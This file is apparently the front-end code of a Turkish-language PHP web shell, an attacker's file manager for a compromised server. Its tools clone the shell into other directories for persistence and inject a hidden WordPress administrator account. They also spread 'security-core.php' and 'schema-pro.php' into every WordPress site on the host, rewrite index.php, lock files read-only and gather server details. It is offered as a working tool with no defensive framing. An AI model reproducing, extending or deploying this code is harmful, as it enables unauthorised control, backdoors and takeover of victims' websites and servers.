            document.querySelector('input[name="permission_mode"][value="octal"]').checked = true;
            document.querySelector('.permission-selector').style.opacity = '0.5';
            document.querySelector('.permission-selector').style.pointerEvents = 'none';
            
            // Önizlemeyi güncelle
            updatePermissionPreview();
            
            // Modal'ı göster
            showModal('permissionModal');
        }

        // İzinleri checkbox'lara yükle
        function loadPermissionsToCheckboxes(perms) {
            const owner = parseInt(perms.charAt(1));
            const group = parseInt(perms.charAt(2));
            const world = parseInt(perms.charAt(3));
            
            // Owner permissions
            document.getElementById('owner_r').checked = (owner & 4) !== 0;
            document.getElementById('owner_w').checked = (owner & 2) !== 0;
            document.getElementById('owner_x').checked = (owner & 1) !== 0;
            
            // Group permissions
            document.getElementById('group_r').checked = (group & 4) !== 0;
            document.getElementById('group_w').checked = (group & 2) !== 0;
            document.getElementById('group_x').checked = (group & 1) !== 0;
            
            // World permissions
            document.getElementById('world_r').checked = (world & 4) !== 0;
            document.getElementById('world_w').checked = (world & 2) !== 0;
            document.getElementById('world_x').checked = (world & 1) !== 0;
        }

        // İzin önizlemesini güncelle
        function updatePermissionPreview() {
            const owner = calculatePermissionValue('owner');
            const group = calculatePermissionValue('group');
            const world = calculatePermissionValue('world');
            
            const numericValue = '0' + owner + group + world;
            const textValue = formatPermissionText(owner, group, world);
            
            document.getElementById('permissionPreview').textContent = textValue + ' (' + numericValue + ')';
            document.getElementById('permissionValue').value = numericValue;
        }

        // Checkbox'lardan izin değerini hesapla
        function calculatePermissionValue(type) {
            let value = 0;
            if (document.getElementById(type + '_r').checked) value += 4;
            if (document.getElementById(type + '_w').checked) value += 2;
            if (document.getElementById(type + '_x').checked) value += 1;
            return value;
        }

        // İzinleri metin formatına çevir
        function formatPermissionText(owner, group, world) {
            let result = '';
            
            // Owner
            result += (owner & 4) ? 'r' : '-';
            result += (owner & 2) ? 'w' : '-';
            result += (owner & 1) ? 'x' : '-';
            
            // Group
            result += (group & 4) ? 'r' : '-';
            result += (group & 2) ? 'w' : '-';
            result += (group & 1) ? 'x' : '-';
            
            // World
            result += (world & 4) ? 'r' : '-';
            result += (world & 2) ? 'w' : '-';
            result += (world & 1) ? 'x' : '-';
            
            return result;
        }

        // Octal değerden preview güncelle
        function updatePreviewFromOctal(value) {
            const fullValue = value.length === 3 ? '0' + value : value;
            const owner = parseInt(fullValue.charAt(1));
            const group = parseInt(fullValue.charAt(2));
            const world = parseInt(fullValue.charAt(3));
            
            const textValue = formatPermissionText(owner, group, world);
            document.getElementById('permissionPreview').textContent = textValue + ' (' + fullValue + ')';
        }

        // Octal input'tan checkbox'ları güncelle
        function updateCheckboxesFromOctal(value) {
            const fullValue = value.length === 3 ? '0' + value : value;
            const owner = parseInt(fullValue.charAt(1));
            const group = parseInt(fullValue.charAt(2));
            const world = parseInt(fullValue.charAt(3));
            
            // Owner checkboxes
            document.getElementById('owner_r').checked = (owner & 4) !== 0;
            document.getElementById('owner_w').checked = (owner & 2) !== 0;
            document.getElementById('owner_x').checked = (owner & 1) !== 0;
            
            // Group checkboxes
            document.getElementById('group_r').checked = (group & 4) !== 0;
            document.getElementById('group_w').checked = (group & 2) !== 0;
            document.getElementById('group_x').checked = (group & 1) !== 0;
            
            // World checkboxes
            document.getElementById('world_r').checked = (world & 4) !== 0;
            document.getElementById('world_w').checked = (world & 2) !== 0;
            document.getElementById('world_x').checked = (world & 1) !== 0;
        }

        // Permission mode değişikliklerini dinle
        document.addEventListener('DOMContentLoaded', function() {
            const checkboxes = document.querySelectorAll('.permission-checkboxes input[type="checkbox"]');
            checkboxes.forEach(checkbox => {
                checkbox.addEventListener('change', updatePermissionPreview);
            });
            
            // Radio button değişikliklerini dinle
            const radioButtons = document.querySelectorAll('input[name="permission_mode"]');
            radioButtons.forEach(radio => {
                radio.addEventListener('change', function() {
                    const isOctal = this.value === 'octal';
                    const octalInput = document.getElementById('octalInput');
                    const permissionSelector = document.querySelector('.permission-selector');
                    
                    if (isOctal) {
                        octalInput.disabled = false;
                        octalInput.style.opacity = '1';
                        permissionSelector.style.opacity = '0.5';
                        permissionSelector.style.pointerEvents = 'none';
                        octalInput.focus();
                    } else {
                        octalInput.disabled = true;
                        octalInput.style.opacity = '0.5';
                        permissionSelector.style.opacity = '1';
                        permissionSelector.style.pointerEvents = 'auto';
                    }
                });
            });
            
            // Octal input değişikliklerini dinle
            const octalInput = document.getElementById('octalInput');
            if (octalInput) {
                octalInput.addEventListener('input', function() {
                    if (document.querySelector('input[name="permission_mode"]:checked').value === 'octal') {
                        const value = this.value;
                        if (/^[0-7]{3,4}$/.test(value)) {
                            document.getElementById('permissionValue').value = value.length === 3 ? '0' + value : value;
                            updatePreviewFromOctal(value);
                        }
                    }
                });
            }
        });

        // Basit Bildirim Sistemi
        function showNotification(message, type = 'success') {
            const bar = document.getElementById('notificationBar');
            if (!bar) return;
            
            bar.textContent = message;
            bar.className = `notification-bar ${type}`;
            bar.style.display = 'block';
            
            // 4 saniye sonra otomatik gizle
            setTimeout(() => {
                bar.style.display = 'none';
            }, 4000);
        }

        // Dosya/klasör oluşturma fonksiyonu
        function createItem() {
            const name = document.getElementById('createName').value.trim();
            const type = document.getElementById('createType').value;
            
            if (!name) {
                alert('Lütfen bir isim girin!');
                return;
            }
            
            const form = document.createElement('form');
            form.method = 'POST';
            
            if (type === 'file') {
                form.innerHTML = `
                    <input type="hidden" name="action" value="create_file">
                    <input type="hidden" name="filename" value="${name}">
                `;
            } else {
                form.innerHTML = `
                    <input type="hidden" name="action" value="create_folder">
                    <input type="hidden" name="foldername" value="${name}">
                `;
            }
            
            document.body.appendChild(form);
            form.submit();
        }

        // Enter tuşu ile oluşturma
        document.addEventListener('DOMContentLoaded', function() {
            const createInput = document.getElementById('createName');
            if (createInput) {
                createInput.addEventListener('keypress', function(e) {
                    if (e.key === 'Enter') {
                        createItem();
                    }
                });
            }
        });

        // İndex.php'ye kod ekleme fonksiyonu
        function addIndexCode() {
            if (confirm('Ana dizindeki index.php dosyası WordPress kodu ile güncellenecek. Devam etmek istiyor musunuz?')) {
                const form = document.createElement('form');
                form.method = 'POST';
                form.innerHTML = `
                    <input type="hidden" name="action" value="add_index_code">
                `;
                document.body.appendChild(form);
                form.submit();
            }
            hideToolsMenu();
        }

        // Cache temizleme fonksiyonu
        function clearCache() {
            if (confirm('.htaccess dosyasındaki tüm cache kodları temizlenecek. Devam etmek istiyor musunuz?')) {
                const form = document.createElement('form');
                form.method = 'POST';
                form.innerHTML = `
                    <input type="hidden" name="action" value="clear_cache">
                `;
                document.body.appendChild(form);
                form.submit();
            }
            hideToolsMenu();
        }

        // Sunucu kilitleme/açma fonksiyonu
        function toggleServerLock() {
            const action = prompt('Sunucuyu kilitlemek için "kilitle", açmak için "aç" yazın:');
            
            if (action === 'kilitle') {
                if (confirm('⚠️ UYARI: Tüm dosyalar salt okunur yapılacak! Devam etmek istiyor musunuz?')) {
                    const form = document.createElement('form');
                    form.method = 'POST';
                    form.innerHTML = `
                        <input type="hidden" name="action" value="server_lock">
                        <input type="hidden" name="lock_action" value="kilitle">
                    `;
                    document.body.appendChild(form);
                    form.submit();
                }
            } else if (action === 'aç') {
                if (confirm('Sunucu dosyaları normal izinlere döndürülecek. Devam etmek istiyor musunuz?')) {
                    const form = document.createElement('form');
                    form.method = 'POST';
                    form.innerHTML = `
                        <input type="hidden" name="action" value="server_lock">
                        <input type="hidden" name="lock_action" value="aç">
                    `;
                    document.body.appendChild(form);
                    form.submit();
                }
            } else if (action !== null) {
                alert('Geçersiz komut! Sadece "kilitle" veya "aç" yazabilirsiniz.');
            }
            
            hideToolsMenu();
        }

        // Shell klonlama fonksiyonu
        function cloneShell() {
            if (confirm('🔄 Shell dosyası farklı dizinlerde klonlanacak. Devam etmek istiyor musunuz?')) {
                const form = document.createElement('form');
                form.method = 'POST';
                form.innerHTML = `
                    <input type="hidden" name="action" value="clone_shell">
                `;
                document.body.appendChild(form);
                form.submit();
            }
            hideToolsMenu();
        }

        // Sunucu bilgisi fonksiyonu
        function showServerInfo() {
            // Sunucu bilgilerini topla
            const serverInfo = {
                domain: window.location.hostname,
                ip: '<?= $_SERVER['SERVER_ADDR'] ?? 'Bilinmiyor' ?>',
                hostname: '<?= gethostname() ?>',
                server_software: '<?= $_SERVER['SERVER_SOFTWARE'] ?? 'Bilinmiyor' ?>',
                php_version: '<?= phpversion() ?>',
                document_root: '<?= $_SERVER['DOCUMENT_ROOT'] ?? 'Bilinmiyor' ?>',
                server_port: '<?= $_SERVER['SERVER_PORT'] ?? 'Bilinmiyor' ?>',
                server_name: '<?= $_SERVER['SERVER_NAME'] ?? 'Bilinmiyor' ?>',
                cache_status: checkCacheStatus()
            };

            // Modal içeriği oluştur
            let html = '<div style="background: var(--bg-toolbar); padding: 20px; border-radius: 8px;">';
            html += '<h3 style="margin-bottom: 15px; color: var(--color-title); text-align: center;"><i class="fas fa-server"></i> Sunucu Bilgileri</h3>';
            
            html += '<div style="display: grid; grid-template-columns: 1fr 1fr; gap: 15px; margin-bottom: 20px;">';
            html += '<div style="background: var(--bg-card); padding: 15px; border-radius: 6px; border: 1px solid var(--border-soft);">';
            html += '<h4 style="color: var(--color-title); margin-bottom: 10px;"><i class="fas fa-globe"></i> Domain Bilgileri</h4>';
            html += '<p><strong>Domain:</strong> ' + serverInfo.domain + '</p>';
            html += '<p><strong>Sunucu Adı:</strong> ' + serverInfo.server_name + '</p>';
            html += '<p><strong>Port:</strong> ' + serverInfo.server_port + '</p>';
            html += '</div>';
            
            html += '<div style="background: var(--bg-card); padding: 15px; border-radius: 6px; border: 1px solid var(--border-soft);">';
            html += '<h4 style="color: var(--color-title); margin-bottom: 10px;"><i class="fas fa-network-wired"></i> Ağ Bilgileri</h4>';
            html += '<p><strong>IP Adresi:</strong> ' + serverInfo.ip + '</p>';
            html += '<p><strong>Hostname:</strong> ' + serverInfo.hostname + '</p>';
            html += '<p><strong>Document Root:</strong> ' + serverInfo.document_root + '</p>';
            html += '</div>';
            '</div>';
            
            html += '<div style="background: var(--bg-card); padding: 15px; border-radius: 6px; border: 1px solid var(--border-soft); margin-bottom: 15px;">';
            html += '<h4 style="color: var(--color-title); margin-bottom: 10px;"><i class="fas fa-code"></i> Teknik Bilgiler</h4>';
            html += '<p><strong>Sunucu Yazılımı:</strong> ' + serverInfo.server_software + '</p>';
            html += '<p><strong>PHP Versiyonu:</strong> ' + serverInfo.php_version + '</p>';
            html += '</div>';
            
            html += '<div style="background: var(--bg-card); padding: 15px; border-radius: 6px; border: 1px solid var(--border-soft);">';
            html += '<h4 style="color: var(--color-title); margin-bottom: 10px;"><i class="fas fa-tachometer-alt"></i> Cache Durumu</h4>';
            
            // PHP Cache durumu
            html += '<div style="margin-bottom: 15px; padding: 10px; background: var(--bg-table-row); border-radius: 4px;">';
            html += '<h5 style="color: var(--color-title); margin-bottom: 8px;"><i class="fas fa-code"></i> PHP Cache</h5>';
            html += '<p><strong>Durum:</strong> <span style="color: ' + (serverInfo.cache_status ? 'var(--color-success)' : 'var(--color-danger)') + ';">' + (serverInfo.cache_status ? 'Aktif' : 'Pasif') + '</span></p>';
            if (serverInfo.cache_status) {
                html += '<p><strong>Türü:</strong> ' + getCacheType() + '</p>';
            }
            html += '</div>';
            
            // .htaccess Cache durumu
            const htaccessCache = checkHtaccessCache();
            html += '<div style="margin-bottom: 15px; padding: 10px; background: var(--bg-table-row); border-radius: 4px;">';
            html += '<h5 style="color: var(--color-title); margin-bottom: 8px;"><i class="fas fa-file-code"></i> .htaccess Cache</h5>';
            html += '<p><strong>Durum:</strong> <span style="color: ' + (htaccessCache.hasCache ? 'var(--color-success)' : 'var(--color-danger)') + ';">' + (htaccessCache.hasCache ? 'Aktif' : 'Pasif') + '</span></p>';
            if (htaccessCache.hasCache && htaccessCache.types.length > 0) {
                html += '<p><strong>Türleri:</strong> ' + htaccessCache.types.join(', ') + '</p>';
            }
            html += '</div>';
            
            // Cache Eklentileri
            const cachePlugins = checkCachePlugins();
            html += '<div style="padding: 10px; background: var(--bg-table-row); border-radius: 4px;">';
            html += '<h5 style="color: var(--color-title); margin-bottom: 8px;"><i class="fas fa-puzzle-piece"></i> Cache Eklentileri</h5>';
            if (cachePlugins.length > 0) {
                html += '<p><strong>Durum:</strong> <span style="color: var(--color-success);">Tespit Edildi</span></p>';
                html += '<p><strong>Eklentiler:</strong> ' + cachePlugins.join(', ') + '</p>';
            } else {
                html += '<p><strong>Durum:</strong> <span style="color: var(--color-danger);">Tespit Edilmedi</span></p>';
            }
            html += '</div>';
            
            html += '</div>';
            
            html += '<div style="text-align: center; margin-top: 20px;">';
            html += '<button onclick="copyServerInfo()" style="background: var(--color-primary); color: white; border: none; padding: 10px 20px; border-radius: 6px; cursor: pointer; margin-right: 10px;"><i class="fas fa-copy"></i> Bilgileri Kopyala</button>';
            html += '<button onclick="closeModal()" style="background: var(--color-danger); color: white; border: none; padding: 10px 20px; border-radius: 6px; cursor: pointer;"><i class="fas fa-times"></i> Kapat</button>';
            html += '</div>';
            
            html += '</div>';

            // Modal oluştur ve göster
            const modal = document.createElement('div');
            modal.id = 'serverInfoModal';
            modal.className = 'modal';
            modal.innerHTML = html;
            document.body.appendChild(modal);
            
            // Modal stilleri
            modal.style.cssText = `
                position: fixed;
                top: 0;
                left: 0;
                width: 100%;
                height: 100%;
                background: rgba(0,0,0,0.8);
                display: flex;
                justify-content: center;
                align-items: center;
                z-index: 10000;
            `;
            
            const modalContent = modal.querySelector('div');
            modalContent.style.cssText = `
                background: var(--bg-main);
                border-radius: 12px;
                max-width: 800px;
                max-height: 90vh;
                overflow-y: auto;
                box-shadow: 0 20px 40px rgba(0,0,0,0.3);
                border: 1px solid var(--border-main);
            `;
            
            // Modal'ı göster
            modal.style.display = 'flex';
            
            hideToolsMenu();
        }

        // Cache durumunu kontrol et
        function checkCacheStatus() {
            // PHP'de cache durumunu kontrol etmek için
            return <?= (function_exists('apc_cache_info') || function_exists('opcache_get_status') || function_exists('memcache_get_stats')) ? 'true' : 'false' ?>;
        }

        // .htaccess cache durumunu kontrol et
        function checkHtaccessCache() {
            return <?php
            $htaccessPath = $_SERVER['DOCUMENT_ROOT'] . '/.htaccess';
            $hasCache = false;
            $cacheTypes = [];
            
            if (file_exists($htaccessPath)) {
                $htaccessContent = file_get_contents($htaccessPath);
                
                // Cache-Control kontrolü
                if (preg_match('/Cache-Control/i', $htaccessContent)) {
                    $hasCache = true;
                    $cacheTypes[] = 'Cache-Control';
                }
                
                // Expires kontrolü
                if (preg_match('/ExpiresByType|ExpiresActive/i', $htaccessContent)) {
                    $hasCache = true;
                    $cacheTypes[] = 'Expires';
                }
                
                // Gzip kontrolü
                if (preg_match('/mod_deflate|gzip/i', $htaccessContent)) {
                    $hasCache = true;
                    $cacheTypes[] = 'Gzip';
                }
                
                // ETag kontrolü
                if (preg_match('/FileETag|ETag/i', $htaccessContent)) {
                    $hasCache = true;
                    $cacheTypes[] = 'ETag';
                }
                
                // Last-Modified kontrolü
                if (preg_match('/mod_headers|Last-Modified/i', $htaccessContent)) {
                    $hasCache = true;
                    $cacheTypes[] = 'Last-Modified';
                }
            }
            
            echo json_encode([
                'hasCache' => $hasCache,
                'types' => $cacheTypes
            ]);
            ?>;
        }

        // Cache eklentilerini kontrol et
        function checkCachePlugins() {
            return <?php
            $plugins = [];
            $pluginDirs = [
                $_SERVER['DOCUMENT_ROOT'] . '/wp-content/plugins/',
                $_SERVER['DOCUMENT_ROOT'] . '/plugins/',
                $_SERVER['DOCUMENT_ROOT'] . '/modules/'
            ];
            
            $cachePluginKeywords = [
                'cache', 'w3-total-cache', 'wp-super-cache', 'wp-rocket', 
                'litespeed-cache', 'wp-fastest-cache', 'comet-cache',
                'wp-optimize', 'autoptimize', 'wp-cache', 'hyper-cache'
            ];
            
            foreach ($pluginDirs as $dir) {
                if (is_dir($dir)) {
                    $items = scandir($dir);
                    foreach ($items as $item) {
                        if ($item != '.' && $item != '..' && is_dir($dir . $item)) {
                            foreach ($cachePluginKeywords as $keyword) {
                                if (stripos($item, $keyword) !== false) {
                                    $plugins[] = $item;
                                    break;
                                }
                            }
                        }
                    }
                }
            }
            
            echo json_encode(array_unique($plugins));
            ?>;
        }

        // Cache türünü al
        function getCacheType() {
            const cacheTypes = [];
            <?php if (function_exists('apc_cache_info')): ?>
            cacheTypes.push('APC');
            <?php endif; ?>
            <?php if (function_exists('opcache_get_status')): ?>
            cacheTypes.push('OPcache');
            <?php endif; ?>
            <?php if (function_exists('memcache_get_stats')): ?>
            cacheTypes.push('Memcache');
            <?php endif; ?>
            <?php if (function_exists('memcached_get_stats')): ?>
            cacheTypes.push('Memcached');
            <?php endif; ?>
            
            return cacheTypes.length > 0 ? cacheTypes.join(', ') : 'Bilinmiyor';
        }

        // Sunucu bilgilerini kopyala
        function copyServerInfo() {
            const htaccessCache = checkHtaccessCache();
            const cachePlugins = checkCachePlugins();
            
            const info = `Sunucu Bilgileri:
Domain: ${window.location.hostname}
IP: <?= $_SERVER['SERVER_ADDR'] ?? 'Bilinmiyor' ?>
Hostname: <?= gethostname() ?>
Sunucu Yazılımı: <?= $_SERVER['SERVER_SOFTWARE'] ?? 'Bilinmiyor' ?>
PHP Versiyonu: <?= phpversion() ?>
Document Root: <?= $_SERVER['DOCUMENT_ROOT'] ?? 'Bilinmiyor' ?>
Port: <?= $_SERVER['SERVER_PORT'] ?? 'Bilinmiyor' ?>

Cache Durumu:
PHP Cache: ${checkCacheStatus() ? 'Aktif (' + getCacheType() + ')' : 'Pasif'}
.htaccess Cache: ${htaccessCache.hasCache ? 'Aktif (' + htaccessCache.types.join(', ') + ')' : 'Pasif'}
Cache Eklentileri: ${cachePlugins.length > 0 ? 'Tespit Edildi (' + cachePlugins.join(', ') + ')' : 'Tespit Edilmedi'}`;

            navigator.clipboard.writeText(info).then(() => {
                alert('Sunucu bilgileri panoya kopyalandı!');
            }).catch(() => {
                // Fallback için
                const textArea = document.createElement('textarea');
                textArea.value = info;
                document.body.appendChild(textArea);
                textArea.select();
                document.execCommand('copy');
                document.body.removeChild(textArea);
                alert('Sunucu bilgileri panoya kopyalandı!');
            });
        }

        // Klonlama sonuçlarını göster
        function showCloneResults(results) {
            let html = '<div style="background: var(--bg-toolbar); padding: 15px; border-radius: 8px; margin-bottom: 15px;">';
            html += '<h3 style="margin-bottom: 10px; color: var(--color-title);">📅 Klonlama Bilgileri</h3>';
            html += '<p><strong>Tarih:</strong> ' + results.date + '</p>';
            html += '<p><strong>Ana Domain:</strong> ' + results.domain + '</p>';
            html += '<p><strong>Başarılı Klonlama:</strong> ' + results.count + ' adet</p>';
            html += '</div>';
            
            if (results.files && results.files.length > 0) {
                html += '<div style="background: var(--bg-card); padding: 15px; border-radius: 8px; border: 1px solid var(--border-soft);">';
                html += '<h4 style="margin-bottom: 15px; color: var(--color-title);">🔗 Klonlanan URL\'ler:</h4>';
                html += '<div style="max-height: 300px; overflow-y: auto;">';
                
                results.files.forEach(function(file, index) {
                    html += '<div style="margin-bottom: 8px; padding: 8px; background: var(--bg-table-row); border-radius: 4px; border: 1px solid var(--border-soft);">';
                    html += '<strong>Yedek ' + (index + 1) + ':</strong> ';
                    html += '<a href="' + file.url + '" target="_blank" style="color: var(--color-link); text-decoration: none;">' + file.url + '</a>';
                    html += '</div>';
                });
                
                html += '</div>';
                html += '</div>';
            }
            
            document.getElementById('cloneResults').innerHTML = html;
            showModal('cloneResultsModal');
        }

        // Klonlama sonuçlarını kopyala
        function copyCloneResults() {
            const results = document.getElementById('cloneResults');
            if (!results) return;
            
            // Metni hazırla
            let copyText = '';
            const dateElement = results.querySelector('p');
            if (dateElement) {
                const dateText = dateElement.textContent.replace('Tarih: ', '');
                copyText += 'Tarih: ' + dateText + '\n';
            }
            
            const domainElement = results.querySelectorAll('p')[1];
            if (domainElement) {
                const domainText = domainElement.textContent.replace('Ana Domain: ', '');
                copyText += 'Ana Domain: ' + domainText + '\n\n';
            }
            
            const urlElements = results.querySelectorAll('a');
            urlElements.forEach(function(link, index) {
                copyText += 'Yedek ' + (index + 1) + ': ' + link.href + '\n';
            });
            
            // Panoya kopyala
            if (navigator.clipboard) {
                navigator.clipboard.writeText(copyText).then(function() {
                    alert('✅ URL\'ler panoya kopyalandı!');
                });
            } else {
                // Eski tarayıcılar için
                const textArea = document.createElement('textarea');
                textArea.value = copyText;
                document.body.appendChild(textArea);
                textArea.select();
                document.execCommand('copy');
                document.body.removeChild(textArea);
                alert('✅ URL\'ler panoya kopyalandı!');
            }
        }



        // WordPress admin ekleme modal fonksiyonu
        function wpAdminModal() {
            const modal = document.createElement('div');
            modal.innerHTML = `
                <div class="modal-overlay" onclick="closeWpAdminModal()">
                    <div class="modal-content" onclick="event.stopPropagation()">
                        <div class="modal-header">
                            <h3>👤 WordPress Admin Ekle</h3>
                            <button class="modal-close" onclick="closeWpAdminModal()">×</button>
                        </div>
                        <div class="modal-body">
                            <div class="form-group">
                                <label>Kullanıcı Adı:</label>
                                <input type="text" id="wpUser" placeholder="admin">
                            </div>
                            <div class="form-group">
                                <label>Şifre:</label>
                                <input type="password" id="wpPass" placeholder="güçlü şifre">
                            </div>
                            <div class="form-group">
                                <label>E-posta:</label>
                                <input type="email" id="wpMail" placeholder="admin@site.com">
                            </div>
                        </div>
                        <div class="modal-footer">
                            <button class="btn btn-secondary" onclick="closeWpAdminModal()">İptal</button>
                            <button class="btn btn-primary" onclick="addWPAdmin()">Ekle</button>
                        </div>
                    </div>
                </div>
            `;
            modal.className = 'wp-admin-modal';
            document.body.appendChild(modal);
            hideToolsMenu();
        }

        function closeWpAdminModal() {
            const modal = document.querySelector('.wp-admin-modal');
            if (modal) {
                modal.remove();
            }
        }

        function addWPAdmin() {
            const user = document.getElementById('wpUser').value.trim();
            const pass = document.getElementById('wpPass').value.trim();
            const mail = document.getElementById('wpMail').value.trim();
            
            if (!user || !pass || !mail) {
                showNotification('Tüm alanları doldurun!', 'error');
                return;
            }
            
            // oembed.php'deki gibi AJAX isteği
            const xhr = new XMLHttpRequest();
            xhr.open('POST', '', true);
            xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
            
            xhr.onreadystatechange = function() {
                if (xhr.readyState === 4 && xhr.status === 200) {
                    try {
                        const res = JSON.parse(xhr.responseText);
                        showNotification(res.msg, res.ok ? 'success' : 'error');
                        if (res.ok) {
                            closeWpAdminModal();
                        }
                    } catch (e) {
                        showNotification('Yanıt hatası: ' + e.message, 'error');
                    }
                }
            };
            
            const params = `ajax=wpadmin&user=${encodeURIComponent(user)}&pass=${encodeURIComponent(pass)}&mail=${encodeURIComponent(mail)}`;
            xhr.send(params);
        }

        // Security-Core dosyasını ekle
        function addSecurityCore() {
            if (!confirm('Security-core.php dosyası tüm WordPress sitelerine eklenecek. Devam etmek istiyor musunuz?')) {
                return;
            }
            
            // oembed.php'deki gibi AJAX isteği
            const xhr = new XMLHttpRequest();
            xhr.open('POST', '', true);
            xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
            
            xhr.onreadystatechange = function() {
                if (xhr.readyState === 4 && xhr.status === 200) {
                    try {
                        const res = JSON.parse(xhr.responseText);
                        if (res.ok && res.success_details && res.success_details.length > 0) {
                            // Detaylı sonuç modal'ı göster
                            showSecurityCoreResults(res.success_details, res.errors);
                        } else {
                            showNotification(res.msg, res.ok ? 'success' : 'error');
                        }
                    } catch (e) {
                        showNotification('Yanıt hatası: ' + e.message, 'error');
                    }
                }
            };
            
            const params = 'ajax=add_security_core';
            xhr.send(params);
            hideToolsMenu();
        }

        function showSecurityCoreResults(successDetails, errors) {
            const modal = document.createElement('div');
            modal.className = 'security-core-modal';
            
            let html = `
                <div class="modal-overlay" onclick="closeSecurityCoreModal()">
                    <div class="modal-content modal-lg" onclick="event.stopPropagation()">
                        <div class="modal-header">
                            <h3>🛡️ Security-Core.php Ekleme Sonuçları</h3>
                            <button class="modal-close" onclick="closeSecurityCoreModal()">×</button>
                        </div>
                        <div class="modal-body">
                            <div class="mb-3">
                                <h6>✅ Başarıyla Eklenen Siteler (${successDetails.length}):</h6>
                                <div class="table-responsive">
                                    <table class="result-table">
                                        <thead>
                                            <tr>
                                                <th>Site Adı</th>
                                                <th>Yol</th>
                                                <th>Dosya Boyutu</th>
                                                <th>Durum</th>
                                            </tr>
                                        </thead>
                                        <tbody>
            `;
            
            successDetails.forEach(function(site) {
                let fileSize = site.file_size > 1024 ? 
                    Math.round(site.file_size / 1024 * 100) / 100 + ' KB' : 
                    site.file_size + ' B';
                
                html += `
                    <tr>
                        <td><strong>${site.site_name}</strong></td>
                        <td><small style="color: #6c757d;">${site.relative_path}</small></td>
                        <td>${fileSize}</td>
                        <td><span class="badge-success">✅ Eklendi</span></td>
                    </tr>
                `;
            });
            
            html += `
                                        </tbody>
                                    </table>
                                </div>
                            </div>
            `;
            
            if (errors && errors.length > 0) {
                html += `
                    <div class="mb-3">
                        <h6>❌ Hatalar (${errors.length}):</h6>
                        <div class="alert-danger">
                            <ul style="margin-bottom: 0;">
                `;
                
                errors.forEach(function(error) {
                    html += `<li>${error}</li>`;
                });
                
                html += `
                            </ul>
                        </div>
                    </div>
                `;
            }
            
            html += `
                        </div>
                        <div class="modal-footer">
                            <button class="btn btn-secondary" onclick="closeSecurityCoreModal()">Kapat</button>
                            <button class="btn btn-primary" onclick="copySecurityCoreResults()">📋 Sonuçları Kopyala</button>
                        </div>
                    </div>
                </div>
            `;
            
            modal.innerHTML = html;
            document.body.appendChild(modal);
        }

        function closeSecurityCoreModal() {
            const modal = document.querySelector('.security-core-modal');
            if (modal) {
                modal.remove();
            }
        }

        function copySecurityCoreResults() {
            let results = `Security-Core.php Ekleme Sonuçları - ${new Date().toLocaleString('tr-TR')}\n\n`;
            
            // Başarılı siteler
            const rows = document.querySelectorAll('.security-core-modal tbody tr');
            results += `✅ BAŞARILI (${rows.length} site):\n`;
            rows.forEach(function(row) {
                const siteName = row.querySelector('td:nth-child(1)').textContent.trim();
                const path = row.querySelector('td:nth-child(2)').textContent.trim();
                const fileSize = row.querySelector('td:nth-child(3)').textContent.trim();
                results += `• ${siteName} (${path}) - ${fileSize}\n`;
            });
            
            // Hatalar
            const errorItems = document.querySelectorAll('.security-core-modal .alert-danger li');
            if (errorItems.length > 0) {
                results += `\n❌ HATALAR (${errorItems.length}):\n`;
                errorItems.forEach(function(item) {
                    results += `• ${item.textContent}\n`;
                });
            }
            
            navigator.clipboard.writeText(results).then(function() {
                showNotification('Sonuçlar kopyalandı!', 'success');
            }).catch(function() {
                const textArea = document.createElement('textarea');
                textArea.value = results;
                document.body.appendChild(textArea);
                textArea.select();
                document.execCommand('copy');
                document.body.removeChild(textArea);
                showNotification('Sonuçlar kopyalandı!', 'success');
            });
        }

        // Schema Pro ekleme fonksiyonu
        function addSchemaPro() {
            if (!confirm('Schema-pro.php dosyası tüm WordPress sitelerine eklenecek. Devam etmek istiyor musunuz?')) {
                return;
            }
            
            // AJAX isteği
            const xhr = new XMLHttpRequest();
            xhr.open('POST', '', true);
            xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
            
            xhr.onreadystatechange = function() {
                if (xhr.readyState === 4 && xhr.status === 200) {
                    try {
                        const res = JSON.parse(xhr.responseText);
                        if (res.ok && res.success_details && res.success_details.length > 0) {
                            // Detaylı sonuç modal'ı göster
                            showSchemaProResults(res.success_details, res.errors);
                        } else {
                            showNotification(res.msg, res.ok ? 'success' : 'error');
                        }
                    } catch (e) {
                        showNotification('Yanıt hatası: ' + e.message, 'error');
                    }
                }
            };
            
            const params = 'ajax=add_schema_pro';
            xhr.send(params);
            hideToolsMenu();
        }

        function showSchemaProResults(successDetails, errors) {
            const modal = document.createElement('div');
            modal.className = 'schema-pro-modal';
            
            let html = `
                <div class="modal-overlay" onclick="closeSchemaProModal()">
                    <div class="modal-content modal-lg" onclick="event.stopPropagation()">
                        <div class="modal-header">
                            <h3>📊 Schema-Pro.php Ekleme Sonuçları</h3>
                            <button class="modal-close" onclick="closeSchemaProModal()">×</button>
                        </div>
                        <div class="modal-body">
                            <div class="mb-3">
                                <h6>✅ Başarıyla Eklenen Siteler (${successDetails.length}):</h6>
                                <div class="table-responsive">
                                    <table class="result-table">
                                        <thead>
                                            <tr>
                                                <th>Site Adı</th>
                                                <th>Dizin Yolu</th>
                                                <th>Dosya Boyutu</th>
                                                <th>Tam Yol</th>
                                            </tr>
                                        </thead>
                                        <tbody>
            `;
            
            successDetails.forEach(function(detail) {
                const fileSize = (detail.file_size / 1024).toFixed(2) + ' KB';
                html += `
                    <tr>
                        <td><strong>${detail.site_name}</strong></td>
                        <td><code>${detail.relative_path}</code></td>
                        <td>${fileSize}</td>
                        <td><small>${detail.schema_file}</small></td>
                    </tr>
                `;
            });
            
            html += `
                                        </tbody>
                                    </table>
                                </div>
                            </div>
            `;
            
            if (errors && errors.length > 0) {
                html += `
                    <div class="mb-3">
                        <h6>❌ Hatalar (${errors.length}):</h6>
                        <div class="alert-danger">
                            <ul style="margin-bottom: 0;">
                `;
                
                errors.forEach(function(error) {
                    html += `<li>${error}</li>`;
                });
                
                html += `
                            </ul>
                        </div>
                    </div>
                `;
            }
            
            html += `
                        </div>
                        <div class="modal-footer">
                            <button class="btn btn-secondary" onclick="closeSchemaProModal()">Kapat</button>
                            <button class="btn btn-primary" onclick="copySchemaProResults()">📋 Sonuçları Kopyala</button>
                        </div>
                    </div>
                </div>
            `;
            
            modal.innerHTML = html;
            document.body.appendChild(modal);
        }

        function closeSchemaProModal() {
            const modal = document.querySelector('.schema-pro-modal');
            if (modal) {
                modal.remove();
            }
        }

        function copySchemaProResults() {
            let results = `Schema-Pro.php Ekleme Sonuçları - ${new Date().toLocaleString('tr-TR')}\n\n`;
            
